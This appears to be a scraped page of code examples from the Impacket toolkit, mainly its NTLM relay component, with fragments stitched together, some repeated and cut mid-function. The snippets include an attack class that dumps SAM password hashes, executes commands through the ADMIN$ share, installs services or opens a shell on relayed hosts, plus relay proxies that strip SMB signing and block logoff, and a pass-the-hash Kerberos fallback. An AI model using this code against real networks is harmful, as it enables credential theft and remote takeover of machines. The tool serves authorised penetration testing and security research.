            self.SMB_PACKET = SMB3Packet
            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_DIRECTORY_LEASING
                ) == SMB2_GLOBAL_CAP_DIRECTORY_LEASING:
                self._Connection['SupportsDirectoryLeasing'] = True
            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_MULTI_CHANNEL
                ) == SMB2_GLOBAL_CAP_MULTI_CHANNEL:
                self._Connection['SupportsMultiChannel'] = True
            if (negResp['Capabilities'] & SMB2_GLOBAL_CAP_PERSISTENT_HANDLES
                ) == SMB2_GLOBAL_CAP_PERSISTENT_HANDLES:
                self._Connection['SupportsPersistentHandles'] = True
            if (negResp['Capabilities'] &
                    SMB2_GLOBAL_CAP_ENCRYPTION) == SMB2_GLOBAL_CAP_ENCRYPTION:
                self._Connection['SupportsEncryption'] = True

            self._Connection['ServerCapabilities'] = negResp['Capabilities']
            self._Connection['ServerSecurityMode'] = negResp['SecurityMode']
Example #50
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                # Something went wrong, most probably we don't have access as admin. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
Example #51
0
 def readHeader(self):
     LOG.debug("Reading Boot Sector for %s" % self.__volumeName)
Example #52
0
    def tunnelConnection(self):
        # For the rest of the remaining packets, we should just read and send. Except when trying to log out,
        # that's forbidden! ;)
        while True:
            # 1. Get Data from client
            data = self.__NBSession.recv_packet().get_trailer()

            if len(data) == 0:
                break

            if self.isSMB2 is False:
                packet = NewSMBPacket(data=data)

                if packet['Command'] == SMB.SMB_COM_LOGOFF_ANDX:
                    # We do NOT want to get logged off do we?
                    LOG.debug(
                        'SOCKS: Avoiding logoff for %s@%s:%s' %
                        (self.username, self.targetHost, self.targetPort))
                    data = self.getLogOffAnswer(packet)
                else:
                    # 2. Send it to the relayed session
                    self.clientConnection.getSMBServer()._sess.send_packet(
                        str(data))

                    # 3. Get the target's answer
                    data = self.clientConnection.getSMBServer(
                    )._sess.recv_packet().get_trailer()

                    packet = NewSMBPacket(data=data)

                    if packet['Command'] == SMB.SMB_COM_TRANSACTION or packet[
                            'Command'] == SMB.SMB_COM_TRANSACTION2:
                        try:
                            while True:
                                # Anything else to read? with timeout of 1 sec. This is something to test or find
                                # a better way to control
                                data2 = self.clientConnection.getSMBServer(
                                )._sess.recv_packet(timeout=1).get_trailer()
                                self.__NBSession.send_packet(str(data))
                                data = data2
                        except Exception, e:
                            if str(e).find('timed out') > 0:
                                pass
                            else:
                                raise

                    if len(data) == 0:
                        break
            else:
                packet = SMB2Packet(data=data)
                origID = packet['MessageID']

                # Just in case, let's remove any signing attempt
                packet['Signature'] = ""
                packet['Flags'] &= ~(SMB2_FLAGS_SIGNED)

                # Let's be sure the TreeConnect Table is filled with fake data
                if self.clientConnection.getSMBServer(
                )._Session['TreeConnectTable'].has_key(
                        packet['TreeID']) is False:
                    self.clientConnection.getSMBServer(
                    )._Session['TreeConnectTable'][packet['TreeID']] = {}
                    self.clientConnection.getSMBServer(
                    )._Session['TreeConnectTable'][
                        packet['TreeID']]['EncryptData'] = False

                if packet['Command'] == SMB2_LOGOFF:
                    # We do NOT want to get logged off do we?
                    LOG.debug(
                        'SOCKS: Avoiding logoff for %s@%s:%s' %
                        (self.username, self.targetHost, self.targetPort))
                    data = self.getLogOffAnswer(packet)
                else:
                    # 2. Send it to the relayed session
                    self.clientConnection.getSMBServer().sendSMB(packet)

                    # 3. Get the target's answer
                    packet = self.clientConnection.getSMBServer().recvSMB()

                    if len(str(packet)) == 0:
                        break
                    else:
                        packet['MessageID'] = origID
                        data = str(packet)

            # 4. Send it back to the client
            self.__NBSession.send_packet(str(data))
Example #53
0
    def kerberosLogin(self,
                      user,
                      password,
                      domain='',
                      lmhash='',
                      nthash='',
                      aesKey='',
                      kdcHost=None,
                      TGT=None,
                      TGS=None,
                      useCache=True):
        """
        logins into the target system explicitly using Kerberos. Hashes are used if RC4_HMAC is supported.

        :param string user: username
        :param string password: password for the user
        :param string domain: domain where the account is valid for (required)
        :param string lmhash: LMHASH used to authenticate using hashes (password is not used)
        :param string nthash: NTHASH used to authenticate using hashes (password is not used)
        :param string aesKey: aes256-cts-hmac-sha1-96 or aes128-cts-hmac-sha1-96 used for Kerberos authentication
        :param string kdcHost: hostname or IP Address for the KDC. If None, the domain will be used (it needs to resolve tho)
        :param struct TGT: If there's a TGT available, send the structure here and it will be used
        :param struct TGS: same for TGS. See smb3.py for the format
        :param bool useCache: whether or not we should use the ccache for credentials lookup. If TGT or TGS are specified this is False

        :return: None, raises a Session Error if error.
        """
        import os
        from impacket.krb5.ccache import CCache
        from impacket.krb5.kerberosv5 import KerberosError
        from impacket.krb5 import constants
        from impacket.ntlm import compute_lmhash, compute_nthash

        self._kdcHost = kdcHost
        self._useCache = useCache

        if TGT is not None or TGS is not None:
            useCache = False

        if useCache is True:
            try:
                ccache = CCache.loadFile(os.getenv('KRB5CCNAME'))
            except:
                # No cache present
                pass
            else:
                # retrieve user and domain information from CCache file if needed
                if user == '' and len(ccache.principal.components) > 0:
                    user = ccache.principal.components[0]['data']
                if domain == '':
                    domain = ccache.principal.realm['data']
                LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME'))
                principal = 'cifs/%s@%s' % (self.getRemoteName().upper(),
                                            domain.upper())
                creds = ccache.getCredential(principal)
                if creds is None:
                    # Let's try for the TGT and go from there
                    principal = 'krbtgt/%s@%s' % (domain.upper(),
                                                  domain.upper())
                    creds = ccache.getCredential(principal)
                    if creds is not None:
                        TGT = creds.toTGT()
                        LOG.debug('Using TGT from cache')
                    else:
                        LOG.debug("No valid credentials found in cache. ")
                else:
                    TGS = creds.toTGS()
                    LOG.debug('Using TGS from cache')

        while True:
            try:
                if self.getDialect() == smb.SMB_DIALECT:
                    return self._SMBConnection.kerberos_login(
                        user, password, domain, lmhash, nthash, aesKey,
                        kdcHost, TGT, TGS)
                return self._SMBConnection.kerberosLogin(
                    user, password, domain, lmhash, nthash, aesKey, kdcHost,
                    TGT, TGS)
            except (smb.SessionError, smb3.SessionError), e:
                raise SessionError(e.get_error_code())
            except KerberosError, e:
                if e.getErrorCode(
                ) == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value:
                    # We might face this if the target does not support AES
                    # So, if that's the case we'll force using RC4 by converting
                    # the password to lm/nt hashes and hope for the best. If that's already
                    # done, byebye.
                    if lmhash is '' and nthash is '' and (
                            aesKey is ''
                            or aesKey is None) and TGT is None and TGS is None:
                        from impacket.ntlm import compute_lmhash, compute_nthash
                        lmhash = compute_lmhash(password)
                        nthash = compute_nthash(password)
                    else:
                        raise e
                else:
                    raise e
Example #54
0
    def processSessionSetup(self, recvPacket):

        if self.isSMB2 is False:
            respSMBCommand = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX)
            smbCommand = SMBCommand(recvPacket['Data'][0])

            if smbCommand['WordCount'] == 12:
                respParameters = SMBSessionSetupAndX_Extended_Response_Parameters(
                )
                respData = SMBSessionSetupAndX_Extended_Response_Data()

                # First of all, we should received a type 1 message. Let's answer it
                # NEGOTIATE_MESSAGE
                challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
                challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)

                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']
                respToken['ResponseToken'] = str(challengeMessage)

                respParameters['SecurityBlobLength'] = len(respToken)
                respData['SecurityBlobLength'] = respParameters[
                    'SecurityBlobLength']
                respData['SecurityBlob'] = respToken.getData()

                respData['NativeOS'] = ''
                respData['NativeLanMan'] = ''
                respSMBCommand['Parameters'] = respParameters
                respSMBCommand['Data'] = respData

                resp = NewSMBPacket()
                resp['Flags1'] = SMB.FLAGS1_REPLY
                resp['Flags2'] = SMB.FLAGS2_NT_STATUS
                resp['Pid'] = recvPacket['Pid']
                resp['Tid'] = recvPacket['Tid']
                resp['Mid'] = recvPacket['Mid']
                resp['Uid'] = 0
                errorCode = STATUS_MORE_PROCESSING_REQUIRED
                resp['ErrorCode'] = errorCode >> 16
                resp['ErrorClass'] = errorCode & 0xff
                resp.addCommand(respSMBCommand)

                self.__NBSession.send_packet(resp.getData())
                recvPacket, smbCommand = self.getSMBPacket()

                sessionSetupParameters = SMBSessionSetupAndX_Extended_Parameters(
                    smbCommand['Parameters'])
                sessionSetupData = SMBSessionSetupAndX_Extended_Data()
                sessionSetupData[
                    'SecurityBlobLength'] = sessionSetupParameters[
                        'SecurityBlobLength']
                sessionSetupData.fromString(smbCommand['Data'])

                if unpack('B',
                          sessionSetupData['SecurityBlob'][0])[0] != ASN1_AID:
                    # If there no GSSAPI ID, it must be an AUTH packet
                    blob = SPNEGO_NegTokenResp(
                        sessionSetupData['SecurityBlob'])
                    token = blob['ResponseToken']
                else:
                    # NEGOTIATE packet
                    blob = SPNEGO_NegTokenInit(
                        sessionSetupData['SecurityBlob'])
                    token = blob['MechToken']

                # Now we should've received a type 3 message
                authenticateMessage = NTLMAuthChallengeResponse()
                authenticateMessage.fromString(token)

                try:
                    username = (
                        '%s/%s' %
                        (authenticateMessage['domain_name'].decode('utf-16le'),
                         authenticateMessage['user_name'].decode('utf-16le'))
                    ).upper()
                except UnicodeDecodeError:
                    # Not Unicode encoded?
                    username = ('%s/%s' %
                                (authenticateMessage['domain_name'],
                                 authenticateMessage['user_name'])).upper()

                # Check if we have a connection for the user
                if self.activeRelays.has_key(username):
                    LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
                             (username, self.targetHost))
                    errorCode = STATUS_SUCCESS
                    smbClient = self.activeRelays[username][
                        'protocolClient'].session
                    uid = smbClient.getSMBServer().get_uid()
                else:
                    LOG.error('SOCKS: No session for %s@%s(445) available' %
                              (username, self.targetHost))
                    errorCode = STATUS_ACCESS_DENIED
                    uid = 0
                    smbClient = None

                resp = NewSMBPacket()
                resp['Flags1'] = recvPacket['Flags1'] | SMB.FLAGS1_REPLY
                resp['Flags2'] = recvPacket[
                    'Flags2'] | SMB.FLAGS2_EXTENDED_SECURITY
                resp['Command'] = recvPacket['Command']
                resp['Pid'] = recvPacket['Pid']
                resp['Tid'] = recvPacket['Tid']
                resp['Mid'] = recvPacket['Mid']
                resp['Uid'] = uid
                resp['ErrorCode'] = errorCode >> 16
                resp['ErrorClass'] = errorCode & 0xff
                respData['NativeOS'] = ''
                respData['NativeLanMan'] = ''

                if uid == 0:
                    resp['Data'] = '\x00\x00\x00'
                    smbClient = None
                else:
                    respToken = SPNEGO_NegTokenResp()
                    # accept-completed
                    respToken['NegResult'] = '\x00'
                    respParameters['SecurityBlobLength'] = len(respToken)
                    respData['SecurityBlobLength'] = respParameters[
                        'SecurityBlobLength']
                    respData['SecurityBlob'] = respToken.getData()

                    respSMBCommand['Parameters'] = respParameters
                    respSMBCommand['Data'] = respData
                    resp.addCommand(respSMBCommand)

                self.__NBSession.send_packet(resp.getData())

                return smbClient, username
            else:
                LOG.error(
                    'SOCKS: Can\'t handle standard security at the moment!')
                return None
        else:
            respSMBCommand = SMB2SessionSetup_Response()
            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])

            securityBlob = sessionSetupData['Buffer']

            rawNTLM = False
            if unpack('B', securityBlob[0])[0] == ASN1_AID:
                # NEGOTIATE packet
                blob = SPNEGO_NegTokenInit(securityBlob)
                token = blob['MechToken']
                if len(blob['MechTypes'][0]) > 0:
                    # Is this GSSAPI NTLM or something else we don't support?
                    mechType = blob['MechTypes'][0]
                    if mechType != TypesMech[
                            'NTLMSSP - Microsoft NTLM Security Support Provider']:
                        # Nope, do we know it?
                        if MechTypes.has_key(mechType):
                            mechStr = MechTypes[mechType]
                        else:
                            mechStr = hexlify(mechType)
                        LOG.debug(
                            "Unsupported MechType '%s', we just want NTLMSSP, answering"
                            % mechStr)
                        # We don't know the token, we answer back again saying
                        # we just support NTLM.
                        # ToDo: Build this into a SPNEGO_NegTokenResp()
                        respToken = '\xa1\x15\x30\x13\xa0\x03\x0a\x01\x03\xa1\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a'
                        respSMBCommand['SecurityBufferOffset'] = 0x48
                        respSMBCommand['SecurityBufferLength'] = len(respToken)
                        respSMBCommand['Buffer'] = respToken

                        resp = SMB2Packet()
                        resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
                        resp['Status'] = STATUS_SUCCESS
                        resp['CreditRequestResponse'] = 1
                        resp['CreditCharge'] = recvPacket['CreditCharge']
                        resp['Command'] = recvPacket['Command']
                        resp['SessionID'] = 0
                        resp['Reserved'] = recvPacket['Reserved']
                        resp['MessageID'] = recvPacket['MessageID']
                        resp['TreeID'] = recvPacket['TreeID']
                        resp['Data'] = respSMBCommand

                        self.__NBSession.send_packet(resp.getData())
                        recvPacket, smbCommand = self.getSMBPacket()
                        return self.processSessionSetup(recvPacket)

            elif unpack('B', securityBlob[0])[0] == ASN1_SUPPORTED_MECH:
                # AUTH packet
                blob = SPNEGO_NegTokenResp(securityBlob)
                token = blob['ResponseToken']
            else:
                # No GSSAPI stuff, raw NTLMSSP
                rawNTLM = True
                token = securityBlob

            # NEGOTIATE_MESSAGE
            # First of all, we should received a type 1 message. Let's answer it
            challengeMessage = self.sessionData['CHALLENGE_MESSAGE']
            challengeMessage['flags'] &= ~(NTLMSSP_NEGOTIATE_SIGN)

            if rawNTLM is False:
                respToken = SPNEGO_NegTokenResp()
                # accept-incomplete. We want more data
                respToken['NegResult'] = '\x01'
                respToken['SupportedMech'] = TypesMech[
                    'NTLMSSP - Microsoft NTLM Security Support Provider']

                respToken['ResponseToken'] = challengeMessage.getData()
            else:
                respToken = challengeMessage

            resp = SMB2Packet()
            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
            resp['Status'] = STATUS_MORE_PROCESSING_REQUIRED
            resp['CreditRequestResponse'] = 1
            resp['CreditCharge'] = recvPacket['CreditCharge']
            resp['Command'] = recvPacket['Command']
            resp['SessionID'] = 0
            resp['Reserved'] = recvPacket['Reserved']
            resp['MessageID'] = recvPacket['MessageID']
            resp['TreeID'] = recvPacket['TreeID']

            respSMBCommand['SecurityBufferOffset'] = 0x48
            respSMBCommand['SecurityBufferLength'] = len(respToken)
            respSMBCommand['Buffer'] = respToken.getData()
            resp['Data'] = respSMBCommand

            self.__NBSession.send_packet(resp.getData())
            recvPacket, smbCommand = self.getSMBPacket()

            sessionSetupData = SMB2SessionSetup(recvPacket['Data'])
            securityBlob = sessionSetupData['Buffer']

            blob = SPNEGO_NegTokenResp(securityBlob)
            token = blob['ResponseToken']

            # AUTHENTICATE_MESSAGE, here we deal with authentication
            authenticateMessage = NTLMAuthChallengeResponse()
            authenticateMessage.fromString(token)

            try:
                username = (
                    '%s/%s' %
                    (authenticateMessage['domain_name'].decode('utf-16le'),
                     authenticateMessage['user_name'].decode('utf-16le'))
                ).upper()
            except UnicodeDecodeError:
                # Not Unicode encoded?
                username = ('%s/%s' %
                            (authenticateMessage['domain_name'],
                             authenticateMessage['user_name'])).upper()

            respToken = SPNEGO_NegTokenResp()

            # Check if we have a connection for the user
            if self.activeRelays.has_key(username):
                LOG.info('SOCKS: Proxying client session for %s@%s(445)' %
                         (username, self.targetHost))
                errorCode = STATUS_SUCCESS
                smbClient = self.activeRelays[username][
                    'protocolClient'].session
                uid = smbClient.getSMBServer()._Session['SessionID']
            else:
                LOG.error('SOCKS: No session for %s@%s(445) available' %
                          (username, self.targetHost))
                errorCode = STATUS_ACCESS_DENIED
                uid = 0
                smbClient = None

            # accept-completed
            respToken['NegResult'] = '\x00'

            resp = SMB2Packet()
            resp['Flags'] = SMB2_FLAGS_SERVER_TO_REDIR
            resp['Status'] = errorCode
            resp['CreditRequestResponse'] = 1
            resp['CreditCharge'] = recvPacket['CreditCharge']
            resp['Command'] = recvPacket['Command']
            resp['SessionID'] = uid
            resp['Reserved'] = recvPacket['Reserved']
            resp['MessageID'] = recvPacket['MessageID']
            resp['TreeID'] = recvPacket['TreeID']

            respSMBCommand['SecurityBufferOffset'] = 0x48

            # This is important for SAMBA client to work. If it is not set as a guest session,
            # SAMBA will *not* like the fact that the packets are not signed (even tho it was not enforced).
            respSMBCommand['SessionFlags'] = SMB2_SESSION_FLAG_IS_GUEST
            respSMBCommand['SecurityBufferLength'] = len(respToken)
            respSMBCommand['Buffer'] = respToken.getData()
            resp['Data'] = respSMBCommand

            self.__NBSession.send_packet(resp.getData())
            return smbClient, username
Example #55
0
class SMBAttack(ProtocolAttack):
    """
    This is the SMB default attack class.
    It will either dump the hashes from the remote target, or open an interactive
    shell if the -i option is specified.
    """
    PLUGIN_NAMES = ["SMB"]
    def __init__(self, config, SMBClient, username):
        ProtocolAttack.__init__(self, config, SMBClient, username)
        if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3):
            self.__SMBConnection = SMBConnection(existingConnection=SMBClient)
        else:
            self.__SMBConnection = SMBClient
        self.__answerTMP = ''
        if self.config.interactive:
            #Launch locally listening interactive shell
            self.tcpshell = TcpShell()
        else:
            self.tcpshell = None
            if self.config.exeFile is not None:
                self.installService = serviceinstall.ServiceInstall(SMBClient, self.config.exeFile)

    def __answer(self, data):
        self.__answerTMP += data

    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return

            try:
                if self.config.command is not None:
                    remoteOps._RemoteOperations__executeRemote(self.config.command)
                    LOG.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost())
                    self.__answerTMP = ''
                    self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer)
                    self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output')
                    print self.__answerTMP.decode(self.config.encoding, 'replace')
                else:
                    bootKey = remoteOps.getBootKey()
                    remoteOps._RemoteOperations__serviceDeleted = True
                    samFileName = remoteOps.saveSAM()
                    samHashes = SAMHashes(samFileName, bootKey, isRemote = True)
                    samHashes.dump()
                    samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes')
                    LOG.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost())
            except Exception, e:
                LOG.error(str(e))
Example #56
0
    def run(self):
        # Here PUT YOUR CODE!
        if self.tcpshell is not None:
            LOG.info('Started interactive SMB client shell via TCP on 127.0.0.1:%d' % self.tcpshell.port)
            #Start listening and launch interactive shell
            self.tcpshell.listen()
            self.shell = MiniImpacketShell(self.__SMBConnection,self.tcpshell.socketfile)
            self.shell.cmdloop()
            return
        if self.config.exeFile is not None:
            result = self.installService.install()
            if result is True:
                LOG.info("Service Installed.. CONNECT!")
                self.installService.uninstall()
        else:
            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
            from impacket.examples.ntlmrelayx.utils.enum import EnumLocalAdmins
            samHashes = None
            try:
                # We have to add some flags just in case the original client did not
                # Why? needed for avoiding INVALID_PARAMETER
                if  self.__SMBConnection.getDialect() == smb.SMB_DIALECT:
                    flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
                    flags2 |= smb.SMB.FLAGS2_LONG_NAMES
                    self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)

                remoteOps  = RemoteOperations(self.__SMBConnection, False)
                remoteOps.enableRegistry()
            except Exception, e:
                if "rpc_s_access_denied" in str(e): # user doesn't have correct privileges
                    if self.config.enumLocalAdmins:
                        LOG.info(u"Relayed user doesn't have admin on {}. Attempting to enumerate users who do...".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                        enumLocalAdmins = EnumLocalAdmins(self.__SMBConnection)
                        try:
                            localAdminSids, localAdminNames = enumLocalAdmins.getLocalAdmins()
                            LOG.info(u"Host {} has the following local admins (hint: try relaying one of them here...)".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding)))
                            for name in localAdminNames:
                                LOG.info(u"Host {} local admin member: {} ".format(self.__SMBConnection.getRemoteHost().encode(self.config.encoding), name))
                        except DCERPCException, e:
                            LOG.info("SAMR access denied")
                        return
                # Something else went wrong. aborting
                LOG.error(str(e))
                return
    def skipAuthentication(self):
        # See if the user provided authentication
        data = self.socksSocket.recv(self.packetSize)
        # Get headers from data
        headerDict = self.getHeaders(data)
        try:
            creds = headerDict['authorization']
            if 'Basic' not in creds:
                raise KeyError()
            basicAuth = base64.b64decode(creds[6:]).decode("ascii")
            self.username = basicAuth.split(':')[0].upper()
            if '@' in self.username:
                # Workaround for clients which specify users with the full FQDN
                # such as ruler
                user, domain = self.username.split('@', 1)
                # Currently we only use the first part of the FQDN
                # this might break stuff on tools that do use an FQDN
                # where the domain NETBIOS name is not equal to the part
                # before the first .
                self.username = '******' % (domain.split('.')[0], user)

            # Check if we have a connection for the user
            if self.username in self.activeRelays:
                # Check the connection is not inUse
                if self.activeRelays[self.username]['inUse'] is True:
                    LOG.error(
                        'HTTP: Connection for %s@%s(%s) is being used at the moment!'
                        % (self.username, self.targetHost, self.targetPort))
                    return False
                else:
                    LOG.info('HTTP: Proxying client session for %s@%s(%s)' %
                             (self.username, self.targetHost, self.targetPort))
                    self.session = self.activeRelays[
                        self.username]['protocolClient'].session
            else:
                LOG.error('HTTP: No session for %s@%s(%s) available' %
                          (self.username, self.targetHost, self.targetPort))
                return False

        except KeyError:
            # User didn't provide authentication yet, prompt for it
            LOG.debug(
                'No authentication provided, prompting for basic authentication'
            )
            reply = [
                b'HTTP/1.1 401 Unauthorized',
                b'WWW-Authenticate: Basic realm="ntlmrelayx - provide a DOMAIN/username"',
                b'Connection: close', b'', b''
            ]
            self.socksSocket.send(EOL.join(reply))
            return False

        # When we are here, we have a session
        # Point our socket to the sock attribute of HTTPConnection
        # (contained in the session), which contains the socket
        self.relaySocket = self.session.sock
        # Send the initial request to the server
        tosend = self.prepareRequest(data)
        self.relaySocket.send(tosend)
        # Send the response back to the client
        self.transferResponse()
        return True
Example #58
0
File: tds.py Project: tye41/CS-6250
    def login(self,
              database,
              username,
              password='',
              domain='',
              hashes=None,
              useWindowsAuth=False):

        if hashes is not None:
            lmhash, nthash = hashes.split(':')
            lmhash = binascii.a2b_hex(lmhash)
            nthash = binascii.a2b_hex(nthash)
        else:
            lmhash = ''
            nthash = ''

        resp = self.preLogin()
        # Test this!
        if resp['Encryption'] == TDS_ENCRYPT_REQ or resp[
                'Encryption'] == TDS_ENCRYPT_OFF:
            LOG.info("Encryption required, switching to TLS")

            # Switching to TLS now
            ctx = SSL.Context(SSL.TLSv1_METHOD)
            ctx.set_cipher_list('RC4')
            tls = SSL.Connection(ctx, None)
            tls.set_connect_state()
            while True:
                try:
                    tls.do_handshake()
                except SSL.WantReadError:
                    data = tls.bio_read(4096)
                    self.sendTDS(TDS_PRE_LOGIN, data, 0)
                    tds = self.recvTDS()
                    tls.bio_write(tds['Data'])
                else:
                    break

            # SSL and TLS limitation: Secure Socket Layer (SSL) and its replacement,
            # Transport Layer Security(TLS), limit data fragments to 16k in size.
            self.packetSize = 16 * 1024 - 1
            self.tlsSocket = tls

        login = TDS_LOGIN()

        login['HostName'] = (''.join([
            random.choice(string.letters) for i in range(8)
        ])).encode('utf-16le')
        login['AppName'] = (''.join([
            random.choice(string.letters) for i in range(8)
        ])).encode('utf-16le')
        login['ServerName'] = self.server.encode('utf-16le')
        login['CltIntName'] = login['AppName']
        login['ClientPID'] = random.randint(0, 1024)
        login['PacketSize'] = self.packetSize
        if database is not None:
            login['Database'] = database.encode('utf-16le')
        login['OptionFlags2'] = TDS_INIT_LANG_FATAL | TDS_ODBC_ON

        if useWindowsAuth is True:
            login['OptionFlags2'] |= TDS_INTEGRATED_SECURITY_ON
            # NTLMSSP Negotiate
            auth = ntlm.getNTLMSSPType1('WORKSTATION', '')
            login['SSPI'] = str(auth)
        else:
            login['UserName'] = username.encode('utf-16le')
            login['Password'] = self.encryptPassword(
                password.encode('utf-16le'))
            login['SSPI'] = ''

        login['Length'] = len(str(login))

        # Send the NTLMSSP Negotiate or SQL Auth Packet
        self.sendTDS(TDS_LOGIN7, str(login))

        # According to the spects, if encryption is not required, we must encrypt just
        # the first Login packet :-o
        if resp['Encryption'] == TDS_ENCRYPT_OFF:
            self.tlsSocket = None

        tds = self.recvTDS()

        if useWindowsAuth is True:
            serverChallenge = tds['Data'][3:]

            # Generate the NTLM ChallengeResponse AUTH
            type3, exportedSessionKey = ntlm.getNTLMSSPType3(
                auth, serverChallenge, username, password, domain, lmhash,
                nthash)

            self.sendTDS(TDS_SSPI, str(type3))
            tds = self.recvTDS()

        self.replies = self.parseReply(tds['Data'])

        if self.replies.has_key(TDS_LOGINACK_TOKEN):
            return True
        else:
            return False
    def smbComTreeConnectAndX(self, connId, smbServer, SMBCommand, recvPacket):
        connData = smbServer.getConnectionData(connId)

        authenticateMessage = connData['AUTHENTICATE_MESSAGE']
        self.authUser = (
            '%s/%s' %
            (authenticateMessage['domain_name'].decode('utf-16le'),
             authenticateMessage['user_name'].decode('utf-16le'))).upper()

        # Uncommenting this will stop at the first connection relayed and won't relaying until all targets
        # are processed. There might be a use case for this
        #if 'relayToHost' in connData:
        #    # Connection already relayed, let's just answer the request (that will return object not found)
        #    return self.smbComTreeConnectAndX(connId, smbServer, SMBCommand, recvPacket)

        try:
            if self.config.mode.upper() == 'REFLECTION':
                self.targetprocessor = TargetsProcessor(
                    singleTarget='SMB://%s:445/' % connData['ClientIP'])
            if self.authUser == '/':
                LOG.info(
                    'SMBD-%s: Connection from %s authenticated as guest (anonymous). Skipping target selection.'
                    % (connId, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)
            self.target = self.targetprocessor.getTarget(
                identity=self.authUser)
            if self.target is None:
                # No more targets to process, just let the victim to fail later
                LOG.info(
                    'SMBD-%s: Connection from %s@%s controlled, but there are no more targets left!'
                    % (connId, self.authUser, connData['ClientIP']))
                return self.origsmbComTreeConnectAndX(connId, smbServer,
                                                      recvPacket)

            LOG.info(
                'SMBD-%s: Connection from %s@%s controlled, attacking target %s://%s'
                % (connId, self.authUser, connData['ClientIP'],
                   self.target.scheme, self.target.netloc))

            if self.config.mode.upper() == 'REFLECTION':
                # Force standard security when doing reflection
